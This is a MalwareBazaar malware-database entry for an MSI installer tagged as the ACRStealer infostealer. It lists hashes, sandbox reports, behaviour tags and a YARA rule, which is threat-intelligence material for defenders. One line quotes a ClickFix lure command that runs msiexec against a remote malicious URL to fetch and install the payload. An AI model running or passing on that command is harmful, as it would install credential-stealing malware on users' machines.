MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 9672cec466c2949af8b00a4a514a0a7a8a810040dc18943b46bc629266517a4a. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry

ACRStealer

Vendor detections: 6

Intelligence 6 IOCs YARA 1 File information Comments

SHA256 hash:	9672cec466c2949af8b00a4a514a0a7a8a810040dc18943b46bc629266517a4a
SHA3-384 hash:	23588409e1af690b7e6ea7f40992739415d66a147656f9d451344cca0e53fea4d3276db4a966e083de44a609c191d388
SHA1 hash:	6c81fb51fcd4b1933937a04dc9426bae556e9801
MD5 hash:	74988746f9d86290da22718e4462b97e
humanhash:	fillet-india-cardinal-august
File name:	ee47.dat
Download:	download sample
Signature	ACRStealer Create hunting rule
File size:	22'351'872 bytes
First seen:	2026-10-06 11:02:04 UTC
Last seen:	Never
File type:	msi
MIME type:	application/x-msi
ssdeep	393216:UYTOrjQbwj5pntGHxzSkr5+NMUYR9AsIYORgi62e/ykM:XA1I+tYTAs9KgiVj
TLSH	T12637330674D43E34F4AC6FB21122DEB2C0861D9A8721D85F518EB04A76F8FF44779BA6
TrID	88.4% (.MST) Windows SDK Setup Transform script (61000/1/5) 11.5% (.) Generic OLE2 / Multistream Compound (8000/1)
Magika	msi
Reporter	PeterGabaldon
Tags:	msi

PedroGabaldon

ClickFix

msiexec.exe -package "https://0807.st/Y2Mqku9.dat" VERIFYTOKEN="e859148ef927"

Intelligence

File Origin

# of uploads :

# of downloads :

Origin country :

Vendor Threat Intelligence

Details

Link:

https://research.acce.ciphertechsolutions.com/results/c38769a7-0bd2-4bfc-9ff9-fe118bd64ae4/

Detection:

n/a

Link:

https://www.capesandbox.com/analysis/90855/

Verdict:

Unknown

Threat level:

2.5/10

Confidence:

100%

Tags:

anti-debug CAB expired-cert installer installer masquerade packed short-lived-cert wix

Link:

https://www.filescan.io/uploads/6ac4d538c23d9331e64e381d/reports/d8e10336-aa27-4995-ad9d-3b17daecf438/overview

Verdict:

Unknown

Link:

https://www.hybrid-analysis.com/sample/9672cec466c2949af8b00a4a514a0a7a8a810040dc18943b46bc629266517a4a

Verdict:

Unknown

File Type:

msi

First seen:

2026-10-06T07:22:00Z UTC

Last seen:

2026-10-08T06:17:00Z UTC

Hits:

~10

Link:

https://opentip.kaspersky.com/9672cec466c2949af8b00a4a514a0a7a8a810040dc18943b46bc629266517a4a/results?tab=lookup

Score:

97%

Verdict:

Malware

File Type:

Result

Malware family:

n/a

Score:

6/10

Tags:

persistence privilege_escalation ransomware

Link:

https://tria.ge/reports/261006-m49cpaxt5k/

Behaviour

Checks SCSI registry key(s)

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

Event Triggered Execution: Installer Packages

Drops file in Windows directory

Enumerates connected drives

Please note that we are no longer able to provide a coverage score for Virus Total.

Threat name:

Malicious File

Score:

1.00

Link:

https://yomi.yoroi.company/submissions/9672cec466c2949af8b00a4a514a0a7a8a810040dc18943b46bc629266517a4a

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:	FreddyBearDropper Create hunting rule
Author:	Dwarozh Hoshiar
Description:	Freddy Bear Dropper is dropping a malware through base63 encoded powershell scrip.